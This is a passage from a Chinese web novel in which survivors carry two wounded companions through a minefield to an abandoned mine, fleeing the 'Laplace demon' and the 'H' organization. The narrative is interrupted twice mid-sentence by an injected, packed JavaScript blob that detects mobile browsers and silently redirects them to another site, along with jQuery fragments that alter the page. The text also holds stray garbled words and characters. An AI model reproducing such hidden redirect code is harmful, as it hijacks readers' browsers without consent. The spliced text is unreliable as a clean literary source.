学姐整张脸涨得惨白，强行深呼吸才勉强撑住。林忻在一旁暗暗祈祷：但愿乔伊别再恶化。顾子衿则抿着唇，帮忙给乔伊擦拭干净血污，扯起毯子覆在她纤瘦的肩背上。直到此刻，大家才发现乔伊也一直咬紧牙关，哪怕浑身冷汗淋漓，也没曾放弃求生信念。她的眼神散乱，却还是艰难地抓住顾子衿的手腕，轻轻动了动。 “她顽强得很，不会那么容易死。”学姐故作安慰地咕哝一句。张医生收拾器具，随即又来到教授那边，发现教授的状况甚至愈加危险：呼吸微弱，高烧烧得人仿佛行走在鬼门关旁。无奈之下，他只能用简陋仪表测个体温，再灌几支退烧针。摇头道：“再过一两天不退烧，就要考虑打通城里路子，换个能使用呼吸机的地方。留这儿只是熬。” 夜晚悄然降临时，整个柴棚仿佛浸在苦难而又悲悯的氛围中。张医生随意就地找了块空地，打算先将就一夜，明早再作打算。他少言寡语，对于这群奇怪的患者也不多问根由，只是不停喃喃：“乱世啊……乱世。”那透着宿命般的委顿，仿佛割裂了太多希望。 林忻和学姐负责轮流守夜，顾子衿匆匆出去寻一些干粮和水，回到棚里时正遇见乔伊再度朦胧转醒。那一刻，灯光昏暗，海风低啸，乔伊望向顾子衿的眼神中，有几分难言的痛苦与脆弱，但更夹杂一丝隐藏很深的焦虑。她嘴唇颤动，似在努力吐出几个字：“拉……普拉斯……妖……”可声音虚弱到只是气音。 本以为顾子衿没听清，但她却轻轻按住乔伊的手，眼眶中有一抹隐忍的酸涩：“别说了，你先养伤。”那几个字却无可避免地刺进了她的心里。她知道乔伊此刻心心念念的是那只“预见与掌控一切的怪物”，亦是她们此前在卫星站实验中想要阻止或撼动的高维存在。量子终端已毁，可拉普拉斯妖的意志远未消退——它俯瞰万物，看穿所有因果，其阴影就像黑幕笼罩，令所有人无处可逃。 蜷卧在暗处轻喘的学姐也听到了，她轻轻别过头，心里五味杂陈：明明一场对抗才刚奏响序曲，可他们已伤痕累累。倘若那妖真的如传说般无所不知，是否也已感应到乔伊的挣扎？也许下一次来临，就会是铺天盖地的绝望冲击。可他们还能怎么办呢？ 凌晨时分，林忻在外头放哨时，突然见到远远一道昏黄光柱扫过村口海滩，像是某种船灯或车辆灯光。那光线只停留数秒便熄灭，好似在进行扫描或搜索。她倏地握紧了枪，心脏猛跳：难道敌人来了？但观察许久，又没再见动静。她只得更加警觉地守候，多次想去叫醒顾子衿一起看看，却又怕虚惊一场。 整整一个晚上，众人的神经都如紧绷的弦。柴棚里，张医生打着小盹，每次教授的呼吸变得急促，他就惊醒过来，忙翻箱倒柜开些退烧药。另一头，乔伊时而幽幽翻身，痛得皱眉，却始终隐隐咬牙硬撑。顾子衿寸步不离地守在她身旁。她深知乔伊能够熬过这一关，多半源于那颗无比坚定的心——对“命运不甘屈服”的意志。 天蒙蒙亮时，海面泛出鱼肚白，柔光透过柴棚破洞斜射进来。张医生站起身扭动僵硬的腰，睁着布满血丝的眼睛开始清理绷带与消毒。学姐则打了盆盐水来替乔伊擦拭身体。看着乔伊烧得通红的后背逐渐降温，众人心头稍微放松。她似乎真的扛了过去。张医生拍拍桌沿：“但我得警告你们，若再受一点外力冲击，她恐怕就不行了。” “我们知道，”林忻轻轻眨眼，“我们会护着她。” 正当这喘息空档，顾子衿和学姐在柴棚外进行简短的讨论：是否该趁张医生还在，赶快请他帮忙给教授想办法。然而说到底，教授的病情比乔伊更棘手，不仅是外伤，还有内脏损害。张医生虽能暂时稳住休克，却无法替代医疗设备。一旦教授再度陷入呼吸衰竭，连输氧都没有。放眼这荒凉之地，解决之法微乎其微。顾子衿深呼吸：“博士是这场量子对抗的核心人物……不能弃他。” 话虽如此，她心里也隐隐明白，若拉普拉斯妖的搜捕力量或‘H’组织的余部追来，一场更残酷的追击战在所难免。这渔村与柴棚终究只是临时避难所。要活命，也许还需转移到更秘密的地方。然而乔伊和教授的现状，让他们几乎无法长途奔波。学姐垂着眼帘：“我们……真的走得了多远？” 正午的太阳升至高空。若不是依稀能听见海浪拍打声，几乎令人忘记此地乃海岸线附近。张医生对他们的 situatie 也渐渐失去耐心，抱怨药品不足，心理压力太大。“再这样下去，我也撑不住。”他说着扯了扯衣领，“不是我不近人情，这世道谁也不想送死。我等一会儿再看看乔伊情况，如果没大碍了，我就打算先回镇上。” 听到他打算离开，林忻和顾子衿一阵慌乱。但转念一想，目前也没更好的方式能留住他，毕竟他不是他们的亲友，而是为了钱赴险而来。只要乔伊暂时稳住病情，也的确难以再囚着张医生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083963|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不放。空气中弥漫一丝沉默。学姐默默将一部分报酬塞给他：“就当多谢你的冒险。你尽力就好。” 张医生叹口气，也不再推辞。趁着乔伊稍有意识，他又做了次检查，确定暂时没生命危险后，收拾行囊准备启程。走之前，他最后郑重交代：“无论如何，多给她喝水，保持清洁；教授那里，每隔两小时量体温，一旦再飙升，就打退烧针。还有，一旦你们决定挪地方，动作一定得轻，千万别让乔伊的伤口扯裂。若出现紧急情况，可以来镇上找我，不过……我不敢保证能继续出手。” 这话说得现实又无奈。林忻只能送他到村口，看着他开着那辆破三轮车远去，背影逐渐消失在尘土中。回到柴棚后，她们沉默相对，都清楚这场生死关头依然没有缓解。乔伊与教授不过暂时获得一线生机，而外部的危机并未远离。一路逃亡至此，他们已经走投无路了吗？ 想着这些，顾子衿忽然想起昨晚林忻看见的海滩光柱，她心里一动：“会不会有外来武装船只，或者‘H’组织的新一波侦查小队？”一旦海上出现军事舰艇，这个小渔村便再无安全可言。可要硬拼，他们这边伤员累累，枪支也不足。 正在这时，一声低微的呼唤打破了沉默：“子……衿。”是不知何时醒来的乔伊。她依旧面色苍白，但主动靠在木板边缘，声音微弱：“我……大概……知道一条通往……西山缝隙的路……是卫星站地图遗留的后门，可……可那儿的路并不在普通地图上……也许能避开大部分搜查。” “你先别说那么多话，”学姐赶紧制止，可乔伊却倔强地勾了下唇角：“我……还撑得住。再这样原地等……恐怕……迟早……被找到。我们拖得越久，教授越危险。”她语句断断续续，但眼神清醒，仿佛痛苦只是一层外壳，内里仍燃着不屈的光。 顾子衿怔然片刻，心中似乎闪过电光火石般的冲动：或许乔伊说得对，现在不能坐以待毙。要么深入更偏僻的山区，把教授和乔伊藏在安全地带继续医治，要么就干脆孤注一掷杀出一条血路，总比在此等死更有希望。可转念间，她又看到乔伊因为说话过多而咳嗽不止，后背的绷带渗出斑斑血迹。当下只能微叹：“先别急，等等看。至少让你恢复两天……” 这一切交织成了愈发沉重的难题，同时也将他们引向下一段未知征途。山的那头，或许真有乔伊所说的“地图后门”，能让他们绕过重重封锁；但更多的可能是已经被敌方守株待兔。从量子终端被毁的那一刻起，这条宿命之路便充满了无数波折与牺牲。这时，学姐忽然想起教授临行前曾说过的一段话：“命运不是一条固定的河流，而是不断分岔的溪流，任何微小扰动都可能改写最终的归宿。”也许他们现在正处在某条最危机的支线之中，但这却是一条冲破拉普拉斯妖束缚的契机。 黄昏再次覆盖村庄时，海浪的拥抱依旧冰冷。月亮尚未升起，柴棚笼罩在灰暗与潮湿中。乔伊微弱的呼吸夹杂着坚强，教授被学姐当心翻身擦拭，而林忻与顾子衿则拿着一张手写的残缺简图交换意见。夜色深沉，他们要守护的“自由与同伴”能否在高维规束下继续延续？拉普拉斯妖会否在接下来某个阴森的时刻降下更致命的雷霆？ 所有这些疑问，如同深海里沉睡的暗礁，在黑暗里静待时机。一旦时机成熟，海面风平浪静的假象必然会被击得粉碎。可他们只能剪下一束暗夜里的微光，在动荡不安的前路上踉跄求生。下一步会怎样？也许只有当星光破晓时才会知晓答案。 这一夜，没有人能酣然入睡。 36.雾幕山道，破晓的微光 乱世的海岸线上，晨雾如灰色帷幔般缓缓退去。潮水拍打着焦黑的堤岸，一如不久前遍布战火的痕迹。在那破败的渔村中，一辆载着两名重伤者的简陋马车正摇晃着驶离柴棚。淤积多时的绝望，与从未熄灭的希望，在这辆吱呀作响的废旧马车上交织，带着林忻、顾子衿、学姐以及尚在沉睡的教授与重伤的乔伊，步入未知的山道。 无人说话时，就能听见马车轮子碾过泥土的坑洼之声，与教授急促不均的呼吸混在一起，压得人胸口沉闷。乔伊背部的绷带里透出淡淡血腥味，被冷风一吹更显呛鼻。顾子衿时刻留意乔伊脸色，生怕她再度发烧。林忻则紧握一把老旧长枪，放在马车前座；他们惊觉海滩常有可疑光束扫描，说不定拉普拉斯妖的爪牙已在附近游走，稍有疏忽就可能被发现。 “天快亮了，先到村口外那片林子里休整一下。”学姐提议。她原本的身份只是大学里得意学姐，平日最擅烘焙点心，如今却要学着如何将破旧马车组装成暂时的“救护车”。乱世让每个人的路径都走向无法预知的交叉口。 顾子衿点头，轻轻赶着马前进。随着第一缕晨曦洒落，她们抵达林子边缘。林间雾气还没散尽，带着海风中独有的微咸，树影婆娑仿佛一只只狰狞怪手。没人知道这里是否真的安全，但总比敞开在渔村空地上更隐蔽。 马车停下后，林忻率先跳下，拔出匕首警戒四周。然后她才回头帮学姐把教授和乔伊轻轻扶下来。研究了下地形后，顾子衿选了一块枯叶较多、地势略高的空地，把乔伊与教授安放在树干后，好让他们避开晨风。四个人中有两人已经失去战斗力，保护他们与继续前行，几乎变成同一件艰难使命的两面。 学姐跪在乔伊身旁，指尖轻触她发烫的额头，又看了看已经渗血的绷带，心疼得眼眶微红：“再这样下去，她迟早撑不住……张医生也不在，我们能做的太有限。”林忻默默别开眼，知道这话虽刺耳，却是事实。 “乔伊昨晚不是还提到西山的那条秘密通道吗？”顾子衿声音压得很低，“她说那儿既远离主要公路，也或许能摆脱‘H’组织的巡逻。既然在镇上没法真正治疗，不如赌一把。”她的话里有种铿锵，却也带着隐忧。毕竟乔伊、教授都在这生死缝隙，稍有闪失便难逃宿命结局。 “而且，如果拉普拉斯妖真要逐一扼杀所有扰动者，它不会放过我们的。走正道只会被追捕得更快。”林忻点点头，“乱世么，只能靠自己先闯过去。”几人对视片刻，不再犹豫。 趁着晨光，学姐简单为乔伊处理一下伤口，换掉浸血绷带。乔伊绵软地躺在树根，时而昏昏沉沉地吐出只言片语：“我……能坚持……别让我……拖累你们……”她气若游丝，却从她紧咬的牙关中能看出那种抗争到底的顽强。顾子衿把她头发拨开，用温水喂她喝了一点药。 待一切略为收拾后，众人驾着马车进入通往西山的岔路。路面凹凸不平，杂草与荆棘常常缠住车轴，每次停下来清理都耗费大量体力。教授随着车身颠簸，不断发出呻吟，烧得整张脸潮红，学姐只能反复用冷水巾替他擦脸降温。 就这样，他们走走停停，大半日过去，才愣是在山脚下的小道旁找到一个废弃岗楼，远远可见斑驳的“军事禁区”字样。那是旧时代的根深遗物，保留着弹孔与残骸，却也成了他们暂时的庇护所。 林忻先进去探查，确定没有人埋伏后，示意学姐把马车拉进院中。院子有半截倒塌的围墙，可以挡风，却也无法阻挡夜间的野兽或敌人。顾子衿试着在岗楼内部翻找补给，运气不错，竟让她找到两罐尚未过期的紧急军粮，以及一只古老的医药包。医药包里虽然大多物品已失效，但酒精纱布多少还有点用。 听到学姐在外头激动呼唤，顾子衿赶紧抱着医药包跑出去，才见原来乔伊伤口又裂开了，血滴滴答答染红了背后的残破衣料。学姐手忙脚乱地帮她按压止血，却怎奈绷带已经不够用。“快……酒精给我，我得先消毒。”学姐抖着声音吩咐。林忻也赶来帮忙，让顾子衿取纱布。 乔伊低声咳了几声，咳得泪水都出来，还是咬住下唇不肯喊疼。顾子衿看得心酸，想起他们一路上平平都还仰赖乔伊提供关键信息，她却几乎把身体透支到极限。此刻除了烧滚的夜晚、枯槁的废墟，他们一无能为力，只能靠临时急救给她续命。 教授那头明显又在发烧，额头烫得惊人，似乎任何稍微剧烈一点的动作都会让他呼吸加剧，不断呢喃着什么“量子屏障”之类的术语，仿佛在梦里仍被研究课题困扰。学姐额间都是冷汗，但不可能把他扔下。“我们必须尽快继续赶路，指不定西山那边是否有更好的掩护点，甚至有残存的医院或者诊所。”她把这当成最后的希望。 黄昏落下时，四人的心情更加沉重。夜色中的岗楼透着阴寒与陈旧，风一吹就有“沙沙”碎石声。为了安全，他们不敢点亮强光，只能用微弱的手电与一根火柴照明。朦胧火光里，乔伊看上去苍白得宛如一张薄纸。 “子衿……”她忽然微张嘴，声音沙哑，“把我背上的那份资料……在我的包里……你拿出来看看……”顾子衿愣了愣，仿佛想起乔伊一直随身携带的小包，那里面似乎确有量子终端相关文件，以及对拉普拉斯妖的某些记录。她赶忙翻找，果然在包底摸出一个有些被汗液浸湿的文件袋。“你现在就让我看？” 乔伊勉强点点头：“也许……有用……万一我……”她没说完，但话里意思不言自明：趁她还没彻底昏迷过去，最好把关键信息共享出来，以防带着秘密一并死去。顾子衿心头仿佛被针扎，也顾不得心痛，赶紧用手电照着文件审视。 文件上大多是比较枯燥的学术术语，还有些手画的示意图，标出某些隐藏关口——很可能和西山剩余的军事通道有关。乔伊指尖轻颤，似想翻一页却力不从心，只得费力解释：“我和教授曾做过一些推测……拉普拉斯妖的感应范围……不止局限在监控网络，还有……某种高维影响力……但是……有些地带可能处在‘盲区’……” “盲区？”学姐凑近耳朵问，听得背脊一凉。如果真有能屏蔽拉普拉斯妖的盲区，或许是乱世中唯一的喘息之地？乔伊点头：“我们……用终端观测过……西山有特殊地磁……或许能阻隔那东西的……信号。”她断断续续地说完，就力竭一般垂下眼睑。 顾子衿猛然意识到，这或许才是乔伊拼死也要往西山走的真正理由。不是单纯为了躲避常规追捕，而是为了找到“高维屏蔽”的区域，跟拉普拉斯妖进行绝地对抗。“可我们是否真的能到达？”林忻半信半疑，也看不懂那些玄妙计算公式。可下一刻，她看见乔伊在微光下坚定的目光，心中竟生出一丝难言的敬佩与悲悯。 当夜，他们没有更多力气去商讨对策，只能分头轮班守夜。每当风声略有异动，林忻便条件反射握紧枪柄，生怕有不速之客闯入。可幸而整晚只听到远方若隐若现的爆破声，大概是别处的武装冲突，并未波及这里。 翌日清晨，一阵急促的脚步声惊醒了守夜的林忻，却是顾子衿在岗楼顶察看地形后，板着脸匆匆下来：“东北方向，确有几辆车疾驶而过，我看不清是不是‘H’组织，但最好尽快离开这儿。”学姐也恰好探测到教授温度起伏不定。乔伊已经奄奄一息，能坚持到现在几乎全凭意志。 “那就立刻走。”林忻的回答简洁有力。她背起探测器——那是他们从堡垒里意外修好的装备，专门用于排查下一段山路上可能存在的地雷。顾子衿拿起地图与乔伊那份残破资料比对，确认了一条狭窄山壑，或能通往地势更隐蔽的西山地段。他们准备硬着头皮闯过去。 马车再度启程，车轮吱呀声宛若某种绝望乐章。山路越走越狭窄，有些塌方带被荒草遮住，一不留神就是万丈深渊。林忻走在最前方举着探测器，透过耳机听信号，想及时察觉暗埋的地雷。学姐紧跟其后，小心护住乔伊。顾子衿推着马车后部，随时兼顾教授的情况。 一路上，乔伊不时陷入半昏迷，但偶尔还睁眼查看顾子衿手里的地图，示意路口转弯或绕道。她神志虽模糊，却对那图中细微标记记得清晰，仿佛她与教授早已烂熟于心。每一次示意都令众人避开了极为危险的岔口。几度惊险后，他们才发现，一路上若没有乔伊的提示，也许早就踩进敌人布好的陷阱。 白天跋涉比夜里更能看清周遭景象：延绵山峦像一道沉默的巨兽，山谷偶尔传来猛禽嘶啸，山石间暗藏着陡壁与湍流。林忻小腿不慎被荆棘割破，鲜血从衣料渗出，然而她连脸都没皱一下，继续屏息聆听探测器的提示。就在他们穿过一处乱石堆时，探测器骤然发出刺耳哔哔声，林忻立刻挥手：“卧倒！” 所有人立刻趴下，顾子衿死死压住马车，生怕车轮继续滚动触发地雷。屏息片刻，一切鸦雀无声。林忻屏住呼吸，小心向前探去，果然在碎石间发现一枚绣着铁锈的圆饼。大半埋在泥土里，好在他们踩到的只是边缘，并没引爆。若再往前一步，后果不堪设想。 那一瞬间，乔伊从半昏沉中硬生生撑起身体，喉间一股咸腥的气味涌出——她似受到了惊吓与碰撞，后背的伤渗滴血迹。学姐心惊，忙将她扶正：“再撑一下……马上就好了……”乔伊却嘴唇发抖，依然努力示意：“那……那边……多……可能有更多地雷……可以……去左边……” 众人深吸一口气，不得不临时改变路线。这样的小心翼翼，每一步都走得心惊胆战。教授在车上几乎毫无反应，整个人肢体冰凉，看得人揪心，却无力改变。 夕阳时分，他们总算脱离大面积雷区，到达一处相对平坦的山段。往前再走一小时，就应能进入乔伊那份资料所标明的“西山盲区”。可那时乔伊已经痛得连冷汗都流干，更加虚弱。顾子衿与学姐看着她灰白的唇，心如刀割。林忻也眼眶发热，却只得硬扛。 “快了，一定快了……”顾子衿喃喃自语，像是在安慰乔伊，也仿佛在安慰自己。 暮色再临，朦胧山雾笼罩前方，宛如一条阻挡尘世探视的天堑。在这雾幕之后，是否真有盲区，能暂时逃脱拉普拉斯妖俯视？没人能够保证。但若不去闯，他们注定将被逼到绝境。 带着满身疲惫与伤痛，四人同心协力，最终在几块突出的岩石背后搭建了简易营地。夜色撩人，却也危机四伏。林忻负责警戒，学姐给乔伊再次换药。那触目惊心的创口与青紫不堪的肌肤，让她险些哽咽。可乔伊依旧倔强：“拉……普拉斯妖……在等我们……可我们不怕……”她呢喃着极富象征意味的梦话，仿佛在同某个高维存在进行一场心灵对峙。 顾子衿俯下身凝视她半晌，心中涌起酸涩与敬畏：乔伊或许是她见过最顽强的人。明明肉身濒临崩溃，却还要燃尽意志，抵抗那庞大的命运吞噬。她低声说：“你不会死。我们都不会死。只要再往前一步。” 这一夜，四处虫鸣与风声层层叠叠，仿佛在述说古老的悲歌。教授依然高烧不退，学姐把最后几支退烧针省着用，一旦温度飙升就立刻注射。马车在旁边发出金属零件互相挤压的声响，像是深夜里的叹息。林忻注意到远处似有机车声音，却隔着山峦听不真切。她只能不敢合眼地紧握长枪。 ， 黎明破晓，东天泛起鱼肚白，雾气如轻纱般散开，微光映照在崭露岩壁的裂缝上。顾子衿把祈愿压进心底，一点点收拾营地，把乔伊与教授再度安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“或许……我们已经不在拉普拉斯妖的监控范围。”林忻扶住探测器，语气复杂。周围的山影依旧峥嵘，阴云仍堆积在远方，但这片区域却仿佛远离所有人烟，无形中隔开了那窥探一切的視线。顾子衿放下心口大石，连夜里积郁的疲劳都骤然爆发，腿一软差点跪倒在地。学姐赶忙支援。 “别松懈太早，”顾子衿勉强稳住呼吸，“这里若真是拉普拉斯妖的盲区，也可能潜伏了其他危险。我们先找个地方搭营。”林忻点头，再仔细勘察周围——虽避开了无所不在的高维监控，却依旧要面对荒野与时局险恶。 当他们在这雾幕山道的另一端扎下营地时，时间已经接近中午。乔伊睁眼看了一圈后，终于露出一抹虚弱到极点的微笑。她伸出手指向前方山体：“那里……若文件没错……还会有个废弃矿洞，可以……容身……”说罢气息又乱了，险些咳血。 顾子衿神色严肃，却仍按捺不住心中的一点喜悦：“我们就去矿洞。等安顿好教授和你之后，再想办法做更长远的打算。”她看着乔伊发白却坚韧的神情，知道他们这趟险途并未结束，但至少挣脱了第一层桎梏，为后续的命运交锋赢得一丝喘息。 周遭的风匀速吹过，似乎都带着自由的味道。是的，命运或许难以完全摆脱，可他们已用血与坚韧撕开了一道口子。尽管拉普拉斯妖仍如那幽暗无边的阴影，在更广阔的维度中窥视，但他们终将拿起微弱的火光，杀出一条路来。 “乔伊，你很勇敢。”学姐轻声对那几近虚脱的女孩说。乔伊费力地微笑，眼角浮着泪光。她没再说话，但所有人都读懂了她的心意：只要还活着，便可以对抗那高渺的命运之手。 营地里，教授陷入沉眠，额头温度渐渐平稳。林忻从破马车下找到一块顶棚，拆下来做了个简陋的遮挡。顾子衿则与学姐一起为乔伊添置新的绷带，重新消毒伤口。期间她们没有忘记环顾四周，警惕任何可能的可疑动静。 傍晚时分，山间云海悄然聚合，夕阳橘红的光线透过云层投射在岩壁上，化成一幕瑰丽却冷清的人间画卷。所有人都知道，他们必须要继续前行，前路或仍遍布荆棘。然而，他们的命运之弦已经悄然拨动，正往更深的对抗与觉醒处推进。 夜色渐起，那矿洞的入口似乎在风中隐约若现。顾子衿和林忻对视一眼，决心无论里面是阴险地形还是隐藏敌人，都要闯进去。只因乔伊与教授的命之后，还连接着量子研究、连接着太多人渴望的未来，也连接着他们自己身为乱世逆行者的尊严。 “今晚就修整一晚，明天进矿洞。”学姐给乔伊盖好毯子，又摸了摸教授的额头。“如果幸运，也许能在那里找到新的线索。要是再遇到危险，也只能硬碰硬了。” 风在崖壁间呼啸，似有古神在低声絮语。或许拉普拉斯妖在更幽深的维度里张开獠牙，也或许它对这“盲区”无计可施。无论如何，四个年轻人已踏上新的驿程。月影缓缓移向山巅，预示着又一夜的临近。 可是，就在他们以为暂时安全之时，远远山脚外的一道白光一闪即逝，仿佛某个高科技装置启动。没人留意，因为他们已进入盲区。但某处遥远的控制中心，也许依旧运转着另一种更可怕的追踪。此刻，他们不知道自己真正的命运轨迹究竟会走向何处。 然而在这雾幕山道之下，几个人心中都闪动着相同的执着——为了守护同伴、为了不向命运屈服，为了在拉普拉斯妖的阴影笼罩下依旧生长出人性火光。或许正是这抹火光，让每一段噩梦都能化为挣扎求生的力量。 夜晚静谧又让人心惊；却也让人对下一刻的黎明多了几分期待。他们即将启程奔赴神秘矿洞，那儿究竟蕴藏着怎样的秘密？还能否令乔伊和教授得到真正的生机？而拉普拉斯妖——这个似乎能够洞悉一切因果的高维实体，接下来又会以何种方式介入这场交锋？ 没人能准确回答。但他们必须走下去。只要不曾放弃，就还有希望。暗夜之下，微光尤在。 37.风息之处：半梦半醒的矿洞邀约 灰蒙蒙的山雾在岩石间回荡，似即将过期的旧时光，醇厚却带着霉味。马车缓缓驶入这片化外之地，破裂的车轮在碎石与杂草之间挣扎前进。林忻走在最前方，举着那杆老旧长枪，神经紧绷到仿佛连一根飞落的羽毛都能引发她的警惕。 他们所处的，是西山深处的废弃矿区，也是乔伊与教授苦心寻找的“盲区”。据说这里独特的地磁环境能让拉普拉斯妖的高维感应失效，为他们提供片刻的喘息。然而顾子衿的心，却比沼泽地还要沉重——因为乔伊和教授病情未见好转，且矿区雾重路险，他们随时可能遇上新的绝境。 猛一回头，她瞥见学姐正搀扶乔伊下马车。那女孩脸色灰白，背上的旧绷带早被血迹浸透，宛如无形的刀在撕扯。乔伊支撑在学姐肩头，眼神却牵挂着那份资料袋，仿佛要再三确认：若她哪天熬不住了，资料也不能丢失。 顾子衿压下胸中的苦涩，干脆跳下马车，伸手稳住乔伊。“别逞强，”她低声说，“找到安全处，我们再想办法。”乔伊勉强勾唇，点点头，似已没有力气多说。 林忻放下探测器，转身招呼道：“前面再过去几十米，有块裸露的岩台，可以先把马车推过去。那附近岩壁相对平整，也许能临时搭着休整。”她的声音压得很低，比雾还沉。一路走来，他们几番与死神擦肩，让她深谙谨慎的重要性。 滚滚雾气吞噬了周遭的丘壑，夕阳映不进这山谷，整片天空都蒙着一层病态的青灰。马儿似也感到了恐惧，不时打着响鼻，却被顾子衿和学姐合力安抚，才不至于惊乱。教授在车上微微颤抖，浑身潮热冷汗。学姐递给他一点温水，却不见起色。 乔伊费力地扬起下巴，望向远方模糊的山坳，深吸口气：“还要走……小半段……才能……彻底到达盲区腹地……”她断断续续说着，双眸满是执著。“那儿……或许能……遮蔽拉普拉斯妖的……侦测。” 顾子衿听她这话，心里泛上一股酸涩与希望交织的滋味。身处乱世中，谁能想到他们会把赌注都押在这样一块诡谲之地？可没办法，这或许是唯一能与宿命正面对抗??机会。 “那就先把你和教授的伤口照料一下，我们再继续。”她向乔伊轻声安抚。林忻则跑去查看那块岩台是否安全。片刻后，她招手示意没发现陷阱，顾子衿这才与学姐合力拉车前进。 黄昏时分，他们停在岩台边缘，面朝黢黑山壁，背后是浓雾深锁的悬崖。干燥的岩面没有太多杂物，算是天然的隐蔽处。林忻掏出一块手帕擦拭汗水，望着教授的憔悴面孔：“异地求生，也就如此了。若真有神明，不知是否会怜悯我们这些颠沛流离的凡人。” 没有人回答。学姐利落地取下干净的绷带与酒精，打算先给乔伊换药。乔伊闷哼一声，身体轻颤，却竭力不让自己喊出声。“你忍一下。”学姐声音温柔且沉痛，“抱歉，我们的条件太简陋了。” 撕开旧绷带时，那粘连皮肉的痛令乔伊满头冷汗。她紧闭双眼，一言不发。顾子衿在一旁帮忙，看到那血肉模糊的伤处，几乎要把心狠狠握碎——乔伊能走到现在，已是奇迹。 为乔伊换完药后，他们又顾不上休息，就查看教授这边。学姐为他量体温，吓得细声惊呼：“他温度快四十一度了！”教授沉在半昏迷状态，嘴里依旧呢喃着量子纠缠、命运轨迹、时间逆流等难懂的词，仿佛他的灵魂还在与高维概念纠缠不休。 可他们到这荒山野岭，上哪里找大夫？林忻捏紧拳头，多希望张医生还留在身边。然而，人各有命，张医生离去后，只能靠他们自己硬撑。学姐拿出仅剩的退烧剂，为教授注射，试图控制住病情恶化。 山风渐急，天色灰暗得像块陈旧幕布。顾子衿心知此处仍非安全之地：距乔伊所说的盲区核心可能还得走一段矿道，但眼下乔伊和教授都不堪再颠簸。若真有其他势力藏在暗处，这里也未见丝毫防御可言。 正踌躇间，林忻突然抬起手，示意她们噤声。众人屏住呼吸，只听到山风呼啸，以及某种细微却清晰的滴水声，从岩壁缝里传来，还夹杂好似金属碰撞的轻响。那绝非自然风化该有的动静。 “有东西。”林忻低声说，“可能在矿道深处。” 顾子衿脑海里立刻闪过各种可能：敌人埋伏、机器残留、又或者是拉普拉斯妖的某种探测装置？她咬着牙低声：“不管怎样，先把乔伊和教授安顿好，留下一个人看护，另两人去查一查。” 学姐立即说：“我来留下照顾他们。”她知自己并非擅长侦查搏杀。林忻对此没有异议，转向顾子衿点点头。 于是，两人轻装上阵，各携一把□□与手电，朝那滴水声和金属声的方向摸去。山间的雾随夜色渐浓，比白天更难看清路况。脚下碎石似乎因为多年无人涉足而松动，一踩便发出瘆人的脆响。 越往深处，声音越清晰，竟透着某种节奏，彷佛刻意敲击一般。林忻柳眉紧锁，心想：这绝不是自然现象。她压低脚步，为防万一切断了一切光源，只留顾子衿捏着一只极暗的手电，当作微弱照明。 他们大约行了十多分钟，眼前陡然出现一个矿洞口。与之前那片裸露岩台不同，这里有清晰的人工开凿痕迹，门扉几乎完好，仅在门侧有几道深深的爪痕。顾子衿心头猛地一凛：是野兽？还是机械臂？不管哪种，都非善类。 “这门似乎还能推开……要进去吗？”林忻用眼神询问。顾子衿没立刻回答，先把耳朵贴在门板上，聆听里面的动静。出乎意料，里面没有人声，只剩下嗡嗡回响，以及逐渐减弱的金属撞击。 “进去。”顾子衿吐出两个字。林忻会意，轻轻用枪托把门顶开一个缝。刺鼻的铁锈味扑面而来；手电光束扫到半空，却难以探到底。里面似乎是一个下行斜坡，曾经铺设有轨道，现在锈蚀断裂，纠缠在一堆废料中。几道水滴从顶上漏下，落在金属上发出“叮、叮”的清脆声。 林忻心底稍稍松一口气：看来并没有潜伏者正操纵某种机关。可也无法排除深处有没有埋伏。顾子衿对她做了一个手势，两人小心地往里走。空气里弥漫着一股不祥的宁静。脚步声仿佛被放大，像在黑暗中敲出回音。 走了约十米，他们看见一块被削平的岩壁，上面似乎刻着某些奇异符号，还有英文字母与序列号。顾子衿拿手电照过去，只见那符号乍看像一只张开翅膀的飞鸟，又像某种代表无限的符号。岩壁之下，散落半截失灵的仪器，外壳破损，却能依稀辨出某些量子或波动检测模块的标识。 “这……莫非是当年某支科研队伍留下？”林忻低声猜测。她想起教授与乔伊投身过的高维课题，也不禁联想这里或许是某个机密实验室的遗迹。 顾子衿伸手一拨那破损仪器，扯下一块带线路的零件，发现上面印着某军方标志与字母缩写。“难怪乔伊说有盲区存在……或许当年军方也在这里做过测试。”她思绪翻滚，暗暗握紧拳头：若真如此，此地被废弃的原因可能十分危险。 “我们得回去，把这里的发现告诉学姐他们，不能冒进。”林忻正说着，里头通道深处却突然传来一声轻微的梁木断裂声，伴随石块掉落的脆响。仿佛某个通道崩塌了。 她俩同时拿枪戒备，心脏砰砰直跳。等了片刻，并未有其他动静。或许只是年久失修导致塌方。可在这样的环境里，任何风吹草动都可能意味着危机。两人对视一眼，决意先行撤离。 回到岩台处，学姐正紧张地张望。一见到她们还安然无恙，才松了口气：“乔伊刚又发起高烧，教授也很不稳定。怎么情况？”林忻把她们见到的情形简要说明，学姐的脸色更加复杂：“难道这里果真是某个废弃的实验设施？那些金属声只是水滴敲响破旧装置？” “目前看来是这样。好在没有搜到人的气息，至少暂时不会有外敌。”顾子衿看着乔伊皱着眉，“可我们不能老在这野外吹风。矿洞里也许更能避寒，但太过复杂，不熟悉地形也可能出大岔子。” 学姐咬牙道：“不论如何，不能让乔伊和教授一直发烧下去。否则熬不过明天。”她的表情透着焦急，却也透着某种隐隐的倔强。 这时，勉强清醒些的乔伊微微开口：“矿洞……深处……也许……有旧医疗箱……”她断断续续，眼神迷离却坚定，“我之前……在资料……见到一些备注……军方应该留了应急……药物。” 